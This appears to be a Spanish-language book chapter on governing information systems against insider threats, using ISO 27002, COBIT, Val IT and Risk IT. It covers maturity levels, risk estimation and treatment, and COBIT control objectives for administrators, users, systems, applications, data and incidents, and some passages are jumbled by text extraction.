La guía de buenas prácticas 27002 permite la puesta en marcha de un SGSI. Esta guía es muy completa y da una respuesta práctica a las exigencias de la norma ISO 27001.

El objetivo de este libro es darle pistas para que pueda poner en marcha contramedidas técnicas, pero también para que comprenda los retos y los procedimientos de base de la gestión de un sistema de información. En este sentido, he decidido presentarle la guía COBIT de manera más detallada en los siguientes apartados, sin perder de vista la temática del internal hacking.

2. COBIT, Val IT y Risk IT

La referencia Val IT permite dar, a prácticas para la toma de decisiones Esta referencia permite aumentar la mejor un proyecto de inversión en IT

los gerentes y las empresas, líneas directrices, procedimientos y buenas en materia de inversión en el campo informático y en la valorización de SI. transparencia y comprensión de los beneficios, costes y riesgos y así elegir para que se alinee con los objetivos de la empresa.

Risk IT se ha concebido para ayudar a la dirección y la empresa a gestionar los riesgos ligados a los sistemas de información. Esta guía está basada en los principios directores y los procedimientos orientados al desempeño de las fun-ciones diarias de los empleados.

COBIT es una de las guías más reconocidas y utilizadas para el gobierno de SI. Tiene en cuenta las necesidades y exigencias del desempeño del trabajador y más precisamente de las partes interesadas con el objetivo de una mejora continua. COBIT propone objetivos de control que permiten asegurar que la parte informática cumple con sus objetivos. COBIT propone 34 procedimientos abiertos que pueden adaptarse a la empresa. Estos procedimientos están repartidos en los cuatro dominios siguientes: •

Planificar y organizar - PO



Adquirir e implementar - AI



Desplegar y soportar - DS



Vigilar y evaluar - VE

No es necesario adaptar todo lo que ofrece COBIT. La creación de todos los procedimientos y de los puntos de control pueden recargar enormemente el funcionamiento de su empresa. Conviene empezar por integrar los que son necesarios para la viabilidad y la evolución del negocio, y después los que generan una verdadera plusvalía en términos de seguridad.

Situación de las guías de Isaca (fuente: www.isaca.org)

Risk IT, Val IT y COBIT son editados y mantenidos por ISACA (Information Systems Audit and Control Association). Estas herramientas trabajan juntas para cubrir los puntos esenciales del gobierno de un sistema de información.

Poner en marcha la gestión de los SI con la ayuda de COBIT 1. Marco general

Para poner en marcha la gestión en nuestra empresa, le proponemos utilizar COBIT, descrito en la sección anterior. Un cierto número de procedimientos se describen y proponen para responder a la problemática del internal hacking y estos ejemplos solo representan una introducción a COBIT. Los demás procedimientos son igual de interesantes y merecen toda su atención. El gobierno no debe focalizarse únicamente en la lucha del internal hacking, sino dar una respuesta global a la gestión de un sistema de información. Le aconsejamos que se haga con la guía completa de COBIT. La encontrará en el siguiente enlace: http://www.isaca.org/KnowledgeCenter/cobit/Pages/Downloads.aspx

Los 34 procedimientos de COBIT incluyen objetivos de control que obligan a cumplir una exigencias. Estas exigencias piden la puesta en marcha de procedimientos informáticos, tareas y otros procedimientos. COBIT describe únicamente los procedimientos principales, los objetivos de control y los elementos necesarios para evaluar el nivel de madurez de la gestión. Los procedimientos informáticos, las tareas y los otros procedimientos, que se tienen que crear o modificar para responder a las exigencias, son propios para cada empresa.

El cuadro general de referencia siguiente da una visión global de la puesta en marcha de una gestión de sistema de información basado en COBIT:

(fuente: www.isaca.org)

2. ¿Qué es un objetivo de control?

Los objetivos de control de COBIT son el corazón de la puesta en marcha de los 34 procedimientos. Permiten anteponer lo que se espera como resultado en un procedimiento y, por lo tanto, darle las pistas necesarias para llevar a buen término la puesta en marcha de la gestión de los sistemas de información. Los objetivos de control son suficientemente detallados para que pueda asimilarlos como objetivos cuando decide aplicar un procedimiento en su empresa.

Es un poco como hacer reformas en una casa. Empieza por definir lo que desea (la gestión de sistemas de información), después hace la lista de los elementos que debe comprar (decisión que lo que quiere aplicar de COBIT), después procede por etapas (procedimiento), controlando que el parquet colocado está recto, que el interruptor enciende la bombilla correcta, etc. (objetivos de control). La guía COBIT, a través de sus procedimientos y sobre todo de sus objetivos de control, le da un punto de mira para aplicar las buenas prácticas de gobierno.

3. El procedimiento «Puesta en marcha de la gestión de los SI»

Empezaremos por los procedimientos para poner en marcha la gestión. Este procedimiento de puesta en marcha está descrito en la guía. Se encuentra en la sección SE4 «Vigilar y evaluar». Este procedimiento incluye, como ya hemos visto, objetivos de control compuestos de exigencias. Estas exigencias son complejas y le dan un punto de vista idealista de lo que debería existir en su empresa una vez implementado COBIT. Permitirán inspirarle y darle una idea general de lo que se espera en la implementación. Están en parte descritas en las siguientes líneas.

a. Puesta en marcha de un cuadro de gestión de los SI - SE4.1

Defina, ponga en marcha y alinee los objetivos de gestión de los sistemas de información con los de la empresa. Base la gestión en un procedimiento y objetivos de control adecuados. Conserve la línea impuesta por los reglamentos, la legislación, la estrategia de la empresa y los objetivos de negocio. Comunique e informe de los componentes de la gestión de los SI.

b. Alineamiento estratégico - SE4.2

Las estrategias, los objetivos, el rol, la capacidad, así como las posibilidades ofertadas por la tecnología del SI, deben ser comprensibles desde la dirección y la alta dirección. Trabaje con el consejo de administración para definirlos. El negocio y el SI deben estar de acuerdo en lo que puede aportar el sistema de información a la estrategia del negocio. La confianza entre el SI y el negocio debe desarrollarse. Asegúrese de que la estrategia y los objetivos del SI estén alineados con las estrategias y los objetivos de negocio.

c. Valor añadido - SE4.3

Asegúrese de que la inversión que dependa de la informática y de que todos los activos ligados con el SI aporten el mayor valor añadido posible al servicio de la estrategia de la empresa y de los objetivos de negocio. Asegúrese de que los resultados esperados de las inversiones informáticas estén de acuerdo con los resultados esperados del negocio y de que sean correctamente entendidos. Debe existir un análisis de la rentabilidad de las inversiones y que sea aprobada por las partes implicadas. Ponga en marcha una gestión de los portfolios donde el negocio es propietario de las inversiones que dependen de la informática. La informática debe asegurar una optimización de los costes de puesta en marcha y de mantenimiento de los servicios.

d. Gestión de recursos - SE4.4

Controle de manera habitual los activos informáticos propiciando la evolución de la explotación y utilización en términos de recursos, asegurándose de que esto corresponda siempre con las necesidades del negocio y los objetivos estratégicos.

e. Gestión de riesgos - SE4.5

Defina con el consejo de administración el nivel de riesgo informático que está dispuesto a asumir. Ponga en marcha una gestión de riesgos suficiente para no sobrepasar el nivel de riesgo máximo elegido. Evalúe regularmente los riesgos informáticos y sus consecuencias. Asegúrese de que los riesgos son transparentes para los empleados, el consejo de administración y las partes implicadas.

f. Medida del rendimiento - SE4.6

Verifique que los objetivos informáticos validados se han conseguido o sobrepasado y que los objetivos no finalizados están en la dirección correcta para llegar a buen puerto. Tome acciones correctivas para los objetivos que no se han conseguido. Mida e informe del rendimiento de los proyectos del sistema de información al consejo de administración.

g. Seguro independiente - SE4.7

Asegúrese de que todo lo que se pide al SI, como la conformidad de las exigencias, de la legislación, de los reglamentos de la empresa, de las normas, de las buenas prácticas y del correcto rendimiento del SI, es conseguido y gestionado por una persona que no forme parte del equipo de sistemas informáticos.

4. ¿Por dónde empezar?

COBIT puede parecer complejo e inabordable para una empresa. Sin embargo, solo se trata de copiar/pegar la guía y sus procedimientos en la empresa. La primera tarea que hay que realizar es una auditoría para conocer el nivel de madurez de la empresa frente a los procedimientos de la guía.

a. Nivel de madurez

Pero ¿qué es el nivel de madurez? Es una escala que le permitirá saber a qué nivel su infraestructura está alineada con los procedimientos propuestos por COBIT. El resultado generará dos ventajas interesantes. La primera, como un boletín de notas escolares, le dará una nota para cada procedimiento. La segunda ventaja, todavía más interesante, es que dispondrá, gracias a esta autoría, de una vista general de lo que se ha puesto en marcha y de qué manera.

COBIT da, para cada uno de sus procedimientos, las claves para definir el nivel de madurez respecto a este. El resultado de este análisis contiene varios valores posibles:

0 - Inexistente. El procedimiento no existe y el objetivo del procedimiento es considerado como frívolo. La empresa no ha considerado aún el problema.

1 - Inicializado/Caso por caso. No existe ningún procedimiento, pero la empresa sabe que el problema existe y lo trata caso por caso.

2 - Reproducibles pero intuitivos, existen procedimientos. Son simplistas y una gran parte se deja a la elección de la persona. No hay formación, ni comunicación sobre los procedimientos.

3 - El procedimiento está definido. Existe un estándar, está documentado y comunicado con formación. Formaliza las prácticas existentes, pero no son sofisticadas.

4 - Gestionado y medible. La gestión consigue medir y controlar los procedimientos. Los procedimientos son optimizados y mejorados constantemente. La automatización se utiliza poco.

5 - Optimizados, las buenas prácticas se alcanzan gracias a la mejora continua. El negocio se beneficia de los recursos del sistema informático de manera óptima. Las tareas se automatizan gracias a la informática y sus herramientas.

En la guía, para cada procedimiento encontrará la correspondencia con los valores de 0 a 5. Podrá entonces saber exactamente dónde se encuentra respecto a la implementación y cómo puede mejorarla.

b. Procedimientos de partida

No está obligado auditar su empresa en referencia a los 34 procedimientos de la guía. Puede empezar por los que le son más pertinentes o por los procedimientos que desea poner en marcha primero. Le aconsejamos empezar teniendo un enfoque de negocio y de seguridad evaluando y aplicando la lista de procedimientos COBIT siguientes: •

PO4 Definir los procesos, organización y relaciones de TI



PO9 Evaluar y administrar los riesgos de TI



AI3 Adquirir y mantener la infraestructura tecnológica



AI6 Administrar los cambios



AI7 Instalar y acreditar las soluciones y los cambios



DS1 Definir y automatizar los niveles de servicio



DS2 Administrar los servicios de terceros



DS4 Garantizar la continuidad del servicio



DS5 Garantizar la seguridad de los sistemas



DS8 Administrar la mesa del servicio y los incidentes



DS9 Administrar la configuración



DS10 Administrar los problemas



DS13 Administrar las operaciones

Esta lista le da un buen punto de partida para empezar con la gestión de sistemas de la información en su empresa. Sin embargo, estos procedimientos tienen un enfoque en los recursos informáticos. El valor añadido, la medida de rendimiento y finalmente la gestión no son los primeros puntos a los que apunta esta lista. Parece claro que después tendrá que auditar y aplicar otros procedimientos para mejorar el conjunto del funcionamiento del SI.

Administrar y gestionar el riesgo 1. Definiciones

El riesgo IT está constituido de eventos informáticos no deseados que tienen un impacto sobre el negocio. Puede sobrevenir con una frecuencia y una importancia no conocida de antemano. Forma parte del conjunto de riesgos de la empresa. El riesgo IT atañe a la informática, pero no es solamente técnico. Es importante que comprenda que el negocio debe ser la parte más importante para la gestión de riesgos. El negocio es el que puede explicar mejor lo que es importante para su desarrollo. Los expertos informáticos están para dar una opinión técnica sobre las soluciones o los problemas potenciales.

La gestión de riesgos permite tener una imagen de las situaciones que podrían ocurrir en los sistemas e impactar en el negocio. Permite fijar soluciones potenciales. La gestión del riesgo es una fase muy importante para la puesta en marcha de la seguridad de un SI. Permite obtener una imagen clara del riesgo actual y de las posibles soluciones, y definir las probabilidades de que se produzcan, así como el impacto en caso de que ocurran. Encontrará informaciones interesantes en el sitio web de ISACA en relación con Risk IT que completa COBIT para la gestión de sistemas de información: www.isaca.org.

2. Estimación del riesgo

La estimación del riesgo puede hacerse partiendo del negocio. Identifique los objetivos de negocio y los escenarios más pertinentes en los que impactan dichos objetivos. La estimación se puede realizar también partiendo de riesgos genéricos, lo que permite no olvidarse de un riesgo no identificado en un escenario. Una vez identificados estos riesgos, debe estimar sus frecuencias e impactos. Estas informaciones permitirán elegir los riesgos en los que actuar con prioridad y las acciones que es preciso emprender. Si un riesgo supera la tolerancia fijada, deberá tratarlo.

Puede definir una escala a su conveniencia y estimar los riesgos en función de dicha escala.

La tabla siguiente presenta un ejemplo:

Evento

Frecuencia

Recuperación de la contraseña del administrador de dominio por un 5 factores de riesgo usuario

Impacto

Total

9

45

3. Los

Al estimar el riesgo o a la creación de un escenario, numerosos factores tienen que tomarse en cuenta. Pueden tener influencia en la estimación. Estos factores pueden ser del entorno o debido a las capacidades de las personas. Están ligados a su empresa. Le presentamos una lista que puede utilizar: •

Factores del entorno exterior: •

La posibilidad de cambio



La competencia



El mercado



La legislación



La evolución de las tecnologías



etc.









Factores del entorno interno: •

El modelo operacional



La complejidad de la infraestructura



La complejidad de la empresa



Las prioridades estratégicas



etc.

Capacidad en la gestión de riesgos: •

Capacidad de la empresa para detectar y gestionar los riesgos



Tratamiento de los riesgos



Ausencia o presencia de control



Madurez global de la empresa frente a los riesgos

Capacidades informáticas: •

Nivel de madurez de los procedimientos informáticos



Planificar y organizar (COBIT)



Adquirir e implementar (COBIT)



Entrega y soporte (COBIT)



Vigilar y evaluar (COBIT)

Capacidades del negocio ligadas a la informática: •

Generación de valor añadido e inversión informática



Elección y calidad de los socios

Estos factores deben definirse y tenerse en cuenta al establecer un riesgo. Pueden influenciar su decisión sobre su tratamiento, sobre el impacto o también sobre su frecuencia. Si, por ejemplo, su negocio consiste en realizar ventas mediante comercio electrónico, los índices de cambio y los proveedores son elementos claves para su éxito y que también pueden representar, por lo tanto, un factor de riesgo importante.

4. La clasificación del riesgo

Para clasificar un riesgo, puede añadir a su gestión de riesgos los campos siguientes: •



El tipo de evento: •

Modificación



Robo



Destrucción



Mal uso



Etc.

El tipo de amenaza: •

Mala monitorización









Error humano



Exigencia externa



Amenaza natural



Etc.

Los elementos de tipo Actor: •

Personal interno



Subcontrata



Competidor



Regulador



Etc.

Los elementos de tipo Activos o los recursos: •

Procedimientos



Aplicaciones



Infraestructura informática



Etc.

Los elementos de tipo Temporal: •

La duración



Tiempos de detección



Etc.

Todos estos elementos de clasificación le permiten definir lo mejor posible los riesgos que más se corresponden con su empresa. En lo que concierne al internal hacking, los actores que es preciso tener en cuenta son el personal interno, las subcontratas, los consultores, pero también todas las personas o sociedades que tengan acceso a su infraestructura interna, aunque este acceso sea o haya sido provisional.

5. El tratamiento de un riesgo

Cuando se identifica un riesgo, estimado y clasificado, debe aplicar un tratamiento si el nivel de riesgo es más elevado que el nivel aceptado por la empresa. El nivel de aceptación y la inclinación al riesgo de una empresa se denominan apetencia al riesgo. Cuando el riesgo necesita una acción, puede tratarse de cuatro maneras. Estos tratamientos pueden acumularse. Los cuatro tratamientos posibles para un riesgo se detallan a continuación: •

Prevenir/evitar el riesgo. Prevenir el riesgo consiste generalmente en realizar un cambio para que el riesgo no se vuelva a producir. La formación es también un medio de prevenir el riesgo, pero no lo anula totalmente.



Aceptar el riesgo. Una vez un riesgo analizado y el impacto en el negocio tomado en cuenta, es posible aceptar el riesgo sin tratarlo. Este tipo de respuesta se adopta cuando un riesgo no tiene consecuencias juzgadas como graves. Una respuesta como esta no debe, sin embargo, ser la respuesta por defecto.



Reducir/atenuar el riesgo. Se trata de tomar medidas como la puesta en marcha de procedimientos o la instalación de una solución técnica que tendrá como consecuencia reducir el riesgo. Es generalmente la acción más utilizada por el departamento de IT.



Transferir el riesgo. La trasferencia de un riesgo consiste en ceder a otra empresa la responsabilidad de reducirlo o prevenirlo. Sin embargo, la trasferencia del riesgo no garantiza su erradicación. Por ejemplo, podemos elegir una empresa que analice su tráfico proveniente de Internet antes de que este entre en su empresa. Es, por lo tanto, un cortafuegos que le protege. Sin embargo, no tiene la garantía de que el tráfico filtrado por esta empresa sea exactamente el tráfico limpio y sin problema que desea.

6. Los otros elementos de la gestión de riesgos

Una vez definida una acción para un riesgo, le queda definir el coste de cada tratamiento. Es importante poner un precio a la solución potencial para poder compararla correctamente con otras. Hay que volver a estimar la frecuencia y el impacto después de la modificación para medir hasta qué punto la solución corresponde a la calidad esperada o no. Acuérdese de estudiar el impacto en el negocio de las distintas proposiciones. Tendrá que evitar que una solución sea más peligrosa que el problema en sí. Tendrá así una estimación calidad/coste para cada acción. La dirección de su empresa podrá, con todas estas informaciones, tomar la mejor decisión para el tratamiento de cada riesgo identificado que sobrepase el nivel asumido de peligrosidad.

Tratar el internal hacking desde el punto de vista de la gestión Tomar conciencia de los problemas del internal hacking es en sí un paso adelante. Esta toma de conciencia provoca una modificación de los proce-dimientos internos y en general de la gestión de la seguridad. En la filosofía del internal hacking, la directriz es considerar cada usuario del sistema informático como un pirata o una víctima potencial de uno de sus colegas. La dirección de la empresa debe darse cuenta de la importancia de este principio para imponer la gestión que convenga. COBIT propone procedimientos y objetivos de control asociados interesantes para gestionar estas problemáticas desde el punto de vista de la gestión de los sistemas de información. El procedimiento y los objetivos de control que hay que poner en marcha son genéricos y seleccionados para proponer una solución en términos de gobierno para el internal hacking. Es posible que su empresa necesite otros.

1. La gestión de los administradores

Los administradores de los sistemas informáticos son personas claves en una empresa. Tienen un poder casi total en el conjunto de la infraestructura y de las informaciones. Conviene, por lo tanto, aplicar un procedimiento estricto de selección de los administradores, garantizar que ningún otro usuario pueda obtener este derecho y poner en marcha una primera línea de defensa. No es raro ver en una empresa, aunque se considere segura, algunas rarezas. Por ejemplo, al dejar un empleado del departamento de informática de la empresa, su cuenta de usuario es desactivada. Pero la contraseña de administrador del dominio sigue siendo la misma, porque esta cuenta se utiliza para ciertos servicios. Además, el usuario del servicio informático compartía esta cuenta de administrador con otros. Entonces, ¿cómo saber, cuando se detecta que el servidor de mensajería ha sido pirateado, quién es el verdadero responsable? Para evitar este tipo de problemas, conviene poner en marcha procedimientos estrictos en la creación, modificación y eliminación de las cuentas. Pero esto es solo un ejemplo entre muchos otros riesgos elementales. Le proponemos, por lo tanto, leer los procedimientos siguientes, que cubrirán una gran parte del riesgo de la gestión de los administradores.

En la parte «Planificar y organizar» de COBIT, la gestión del procedimiento «PO7 Administrar los recursos humanos de TI» da las claves de la gestión y de la selección del personal adecuado: •

PO7.1 Selección y mantenimiento del personal



PO7.2 Competencias del personal



PO7.3 Asignación de los roles



PO7.4 Formación



PO7.5 Dependencia



PO7.6 Procedimiento de seguridad respecto al personal



PO7.7 Evaluación del rendimiento



PO7.8 Cambio de puestos y salidas de personal

«PO7.6 Procedimiento de seguridad respecto al personal» incluye la verificación de los antecedentes en el proceso de contratación del personal de los sistemas informáticos.

«PO7.8 Cambio de puestos y salidas de personal» trata de la gestión y la transferencia de conocimientos, pero también de la modificación de los permisos de acceso y de los permisos al realizar un cambio de rol. Cuando un administrador se vaya de una empresa, debe aplicarse un procedimiento completo que indique qué tareas se han de efectuar. Este procedimiento debe ser más completo que el que corresponda a un usuario. Debe incluir la posibilidad de que este usuario haya podido poner en marcha técnicas para seguir teniendo acceso, ilícito, a los equipos o que pueda irse con datos confidenciales.

El procedimiento « DS5 Garantizar la seguridad de los sistemas » propone obje-tivos de control que sirven, entre otros, para evitar que un usuario pueda tomar el rol de administrador de dominio o que un administrador deje un acceso ilícito: •

DS5.1 Gestión de la seguridad informática



DS5.2 Plan de seguridad informática



DS5.3 Gestión de identidades



DS5.4 Gestión de las cuentas de usuarios



DS5.5 Pruebas de seguridad, vigilancia y monitoreo



DS5.6 Definición de incidentes de seguridad



DS5.7 Protección de la tecnología de seguridad



DS5.8 Gestión de claves de cifrado



DS5.9 Prevención, detección y neutralización de programas malintencionados



DS5.10 Seguridad de la red



DS5.11 Intercambio de datos sensibles

El objetivo de control «DS5.3 Gestión de identidades», así como «DS5.4 Gestión de las cuentas de usuarios», son objetivos que deben tomarse muy en serio. Debe asegurarse de que los usuarios internos o externos solo tengan acceso a lo que les es necesario, con únicamente los permisos útiles para sus necesidades. Cada usuario debe estar bien identificado, de manera única y distinta. Los administradores deben tener una cuenta de usuario normal para su trabajo diario, una cuenta para la administración de servidores y de aplicaciones y, por fin, una cuenta para la administración del dominio. La cuenta genérica «Administrador» no se debe utilizar; esta cuenta debe desactivarse. Las cuentas personales no deben servir para arrancar servicios, tareas o aplicaciones habituales. Los servicios de Windows o las tareas que usan cuentas específicas deben censarse. Sus contraseñas deben cambiarse al marcharse un administrador de sistema. Es necesario asegurar una trazabilidad de la aprobación de los permisos dados a una persona y auditar regularmente los accesos a los ficheros y los miembros de los grupos de seguridad para descubrir un acceso ilícito.

«DS5.7 Protección de la tecnología de seguridad» concierne a la seguridad de la información sobre la seguridad. Debe garantizar que las informaciones relacionadas con la seguridad de la empresa se queden en la empresa.

Solo algunas personas por necesidades de gestión requieren acceder a estas informaciones. En la medida de lo posible, proteja estas informaciones de la filtración de datos.

2. La gestión de los usuarios

Los usuarios tienen demasiados permisos sin ser administradores de su equipo. Estos permisos son muchas veces suficientes para realizar el trabajo, pero también para piratear a otro usuario de la red. Por lo tanto, es importante no dar más permisos que los que necesiten, para simplificar la gestión informática. Dar a todos los usuarios permisos para instalar una aplicación y gestionar su PC puede parecer una buena manera de reducir costes de gestión. Sin embargo, con la empresa menos protegida, el riesgo de un ataque aumenta y el riesgo de incidente grave para el usuario también. Los costes indirectos de mantenimiento también tienen un impacto.

COBIT propone los objetivos de control siguientes para gestionar mejor los usuarios: •

DS5.3 Gestión de identidades, que ya ha sido explicada en la gestión de los administradores.



DS5.4 Gestión de usuarios para la creación, la modificación y la eliminación de una cuenta de usuario y sus permisos. Estos procedimientos de gestión se aplican también a los administradores. Acuérdese de incluir un procedimiento de aprobación de acceso con el nombre del propietario de la carpeta, de la aplicación o del sistema operativo. Dependiendo del acceso solicitado, acuérdese de incluir el aspecto legal y contractual a la solicitud de acceso o a la creación de una cuenta.



DS7 Educar y entrenar los usuarios, cuyos objetivos de control dan informaciones acerca de la manera de formar y sensibilizar los usuarios sobre la seguridad.

3. La gestión de los sistemas

Su SGSI debe incluir una gestión de los sistemas. Entendemos por «sistemas» los equipos y los servidores de la empresa. Estos sistemas deben protegerse frente a alteraciones ilícitas o incidentes provocados desde el exterior, pero también desde el interior de la empresa, ya sea a nivel de aplicaciones o a nivel físico. Los equipos deben actualizarse. No es raro ver equipos internos de la empresa actualizados automáticamente mediante sistemas como WSUS. Pero ¿qué pasa con los sistemas externos? Muchas veces son menos actualizados aunque estén mucho más expuestos. Los servidores externos, sin embargo, están bien protegidos de ataques directos gracias a los cortafuegos y proxys inversos, pero ¿qué pasa con los servidores internos? ¿Y si el lobo está en el redil? No olvide proteger, técnicamente pero también a nivel de procedimientos, todos los puntos neurálgicos de su infraestructura interna como si estuviesen expuestos al tráfico externo.

Los objetivos de control de COBIT siguientes pueden servir a la gestión de sistemas: •

DS5.9 Prevención, detección y neutralización de programas malintencionados. Debe desplegar soluciones de seguridad, como un antivirus, en todos los sistemas y actualizarlos.



DS5.8 Gestión de las claves de cifrado. Asegúrese de que las claves privadas de los certificados se almacenan en un sitio seguro. También asegúrese de que los certificados sean distribuidos de manera fiable y solo para personas autorizadas. Tenga cuidado con que los usuarios no instalen certificados raíz de otras autoridades de certificación no autorizadas.



DS5.5 Pruebas de seguridad, vigilancia y monitoreo. Ponga en marcha un sistema de detección de problemas de seguridad para prevenir e identificar rápidamente un problema. Puede también realizar pruebas de seguridad de sus sistemas con cierta frecuencia.

El procedimiento «DS9 Administrar la configuración» hace referencia a los objetivos de control que es preciso poner en marcha para la gestión, el seguimiento y el mantenimiento de los sistemas: •

DS9.1 Guía de configuración base



DS9.2 Identificación y mantenimiento de los elementos de configuración



DS9.3 Repasar la integridad de las configuraciones

El procedimiento «DS12 Administrar el entorno físico» contiene los objetivos de control para la seguridad física: •

DS12.1 Selección del sitio y su distribución



DS12.2 Medidas de seguridad físicas



DS12.3 Acceso físico



DS12.4 Protección con los riesgos ligados al entorno



DS12.5 Administración de las instalaciones materiales

Los objetivos de control «DS12.2 Medidas de seguridad físicas» y «DS12.3 Acceso físico» incluyen la protección de los servidores de una intrusión física. La inserción de una llave USB o de un CD para arrancar un programa infectado o también añadir un router inalámbrico en un switch dedicado al servidor apunta a la seguridad física. Tenga cuidado de garantizar un acceso restringido a las instalaciones importantes.

Un último procedimiento interesante para la gestión de los sistemas, el procedimiento «AI3 Adquirir y mantener la infraestructura tecnológica», propone objetivos de control para la adquisición y el mantenimiento de los sistemas: •

AI3.1 Plan de adquisición de una infraestructura técnica



AI3.2 Protección y disponibilidad de los recursos de la infraestructura



AI3.3 Mantenimiento de la infraestructura



AI3.4 Entorno de pruebas de viabilidad

Los objetivos «AI3.2 Protección y disponibilidad de los recursos de la infraestructura» y «AI3.3 Mantenimiento de la infraestructura» proponen la puesta en marcha de controles internos de seguridad en la implantación, el despliegue y el mantenimiento de un sistema. Cree una estrategia y un plan de mantenimiento de los sistemas asegurando la actualización de estos de acuerdo con las pruebas de vulnerabilidad y sus exigencias de seguridad. Gestione y controle las modificaciones, y pruebe las actualizaciones antes de aplicarlas.

4. La gestión de las aplicaciones

Al elegir una aplicación o un sistema, es importante que estos estén protegidos, pero también que estén alineados con los objetivos de negocio. Las tecnologías evolucionan sin parar. Las necesidades de los usuarios pueden cambiar o evolucionar. Una aplicación con un almacenamiento y una comunicación seguros pueden ser vulnerables en la interfaz de uno de sus módulos. Es muy importante medir la vulnerabilidad, probar y validar cada componente de una aplicación. Todos estos parámetros deben tomarse en cuenta.

Es interesante poner en marcha el procedimiento COBIT «PO3 Determinar la dirección tecnológica» para la gestión de las aplicaciones: •

PO3.1 Planificación de la dirección tecnológica



PO3.2 Plan de infraestructura tecnológica



PO3.3 Monitorización de la evolución de tendencias y de la reglamentación



PO3.4 Estándares informáticos



PO3.5 Comité de arquitectura tecnológica

El objetivo de control «PO3.1 Planificación de la dirección tecnológica» preconiza una análisis de tecnologías existentes y emergentes con el fin de decidir la dirección que se debe tomar. Se trata de escoger la tecnología que mejor se adapte a los objetivos minimizando los riesgos de equivocación.

El procedimiento «AI2 Adquirir y mantener el software aplicativo» da objetivos de control para elegir y mantener una aplicación: •

AI2.1 Concepción general



AI2.2 Concepción detallada



AI2.3 Control aplicativo y auditable



AI2.4 Seguridad y disponibilidad de las aplicaciones



AI2.5 Configuración e implantación de los programas aplicativos adquiridos



AI2.6 Actualización de seguridad de los sistemas existentes



AI2.7 Desarrollo de aplicaciones



AI2.8 Asegurar la calidad de los programas



AI2.9 Gestión de las exigencias de las aplicaciones



AI2.10 Mantenimiento de aplicaciones

El objetivo de control «AI2.2 Concepción detallada» pide los detalles de las especificaciones técnicas de una aplicación. Este detalle permite observar y auditar la aplicación para medir la vulnerabilidad. El objetivo «AI2.4 Seguridad y disponibilidad de las aplicaciones» solicita que la aplicación responda a las exigencias de seguridad y disponibilidad. El objetivo de control «AI2.5 Configuración e implantación de los programas aplicativos adquiridos» propone instalar el programa dependiendo de las necesidades de las funciones de los empleados, pero piense en hacerlo respetando las reglas de seguridad y las buenas prácticas dadas por el proveedor. El objetivo «AI2.6 Actualización de seguridad de los sistemas existentes» insiste en la actualización de las aplicaciones, así como en probarlas. La seguridad debe ser parte integrada a las exigencias al desarrollar aplicaciones internas. Añada esto a la creación de los objetivos de control «AI2.7 Desarrollo de aplicaciones» y «AI2.9 Gestión de las exigencias de las aplicaciones».

Los objetivos de control del procedimiento «DS5 Garantizar la seguridad de los sistemas» pueden considerarse dependiendo del tipo de aplicación instalada. Las aplicaciones importantes para el trabajo diario deben cumplir los objetivos del procedimiento «DS4 Garantizar la continuidad del servicio».

5. La gestión de la información

El objetivo de control de COBIT «DS5.3 Gestión de identidades» ya explicado en la gestión de los administradores y la gestión de los usuarios debe dar las claves para el acceso a los recursos. Sin embargo, definir únicamente quién accede a un recurso no basta para gestionar de forma correcta la información. Debe clasificarla y estar seguro de su integridad. Los objetivos de control del procedimiento «PO2 Definir la arquitectura de la información» proponen crear los siguientes puntos:



PO1.1 Modelo de arquitectura de la información de la empresa



PO2.2 Diccionario y reglas de sintaxis de los datos de la empresa



PO2.3 Sistema de clasificación de los datos



PO2.4 Gestión de la integridad

El objetivo de control «PO2.3 Sistema de clasificación de los datos» le propone clasificar sus datos, por ejemplo como crítico, confidencial o público. Esta clasificación le permitirá poner el foco en las informaciones que se deben proteger de forma prioritaria y le facilitará la tarea para decidir los accesos a los recursos. El objetivo de control «PO2.4 Gestión de la integridad» pone el foco en los procedimientos que permiten garantizar la integridad y la coherencia de los datos.

6. La gestión de los problemas y de los incidentes

El procedimiento «AI4 Facilitar la operación y el uso» contiene objetivos de control ligados a la gestión de problemas e incidentes. Los objetivos de control «AI4.2 Transferencia de conocimientos a los empleados», «AI4.3 Transferencia de conocimientos a los usuarios finales» y «AI4.4 Transferencia de conocimientos a los equipos de explotación y de soporte» son importantes. Se trata de transmitir informaciones útiles a las personas implicadas. Por ejemplo, el personal de soporte debe tener acceso a las informaciones necesarias para gestionar un problema clásico de un usuario en una aplicación o un sistema específico.

Para saber si un incidente es prioritario con respecto a otro, es interesante definir el nivel de servicio y dar una respuesta más rápida al servicio prioritario. «DS1 Definir y administrar los niveles de servicio» da los objetivos de control siguientes: •

DS1.1 Guía para la gestión de los niveles de servicio



DS1.2 Definición de los servicios



DS1.3 Contratos o convenciones de servicio



DS1.4 Contratos de explotación



DS1.5 Monitoreo e informes de los niveles de servicios alcanzados



DS1.6 Revisión de las convenciones de servicio y de los contratos

El objetivo de control «DS1.2 Definición de los servicios», así como «DS1.3 Contratos o convenciones de servicio», definen la creación de un portfolio de servicios centralizados. Debe crear un contrato de servicio para los servicios importantes alineados con las necesidades de los roles existentes en la empresa. Este contrato cubre la fiabilidad, la calidad, la disponibilidad y el nivel de asistencia del servicio.

Cuando servicios importantes dependen de proveedores externos, el procedimiento «DS2 Administrar los servicios de terceros» aporta objetivos de control que proponen exigencias interesantes.

El procedimiento «DS4 garantizar la continuidad del servicio» forma parte de la gestión de incidentes. Permite definir cómo volver a una situación normal después de un incidente. Piense en poner en marcha los objetivos de control siguientes: •

DS4.1 Guía de continuidad de los SI



DS4.2 Planes de continuidad de los SI



DS4.3 Recursos informáticos críticos



DS4.4 Mantenimiento del plan de continuidad de los SI



DS4.5 Prueba del plan de continuidad de los SI



DS4.6 Formación para el plan de continuidad de los SI



DS4.7 Difusión del plan de continuidad de los SI



DS4.8 Recuperación y arranque de los servicios informáticos



DS4.9 Copias de seguridad externas



DS4.10 Revisión después del reinicio del servicio

Para evitar un cierto número de demandas y para responder eficazmente a los incidentes, debe formar a los usuarios y las personas de soporte. El procedimiento «DS7 Educar y entrenar a los usuarios» contiene los objetivos de control siguientes: •

DS7.1 Identificación de las necesidades de conocimiento y formación



DS7.2 Realización de la formación



DS7.3 Evaluación de la formación recibida

Las exigencias ligadas a estos objetivos son interesantes para diseñar una formación adaptada y pertinente.

Para finalizar, el procedimiento «DS10 Administrar los problemas» propone los objetivos de control siguientes: •

DS10.1 Identificación y clasificación de los problemas



DS10.2 Seguimiento y resolución de problemas



DS10.3 Clausura de problemas



DS 10.4 Integración de la gestión de la configuración, de incidentes y problemas

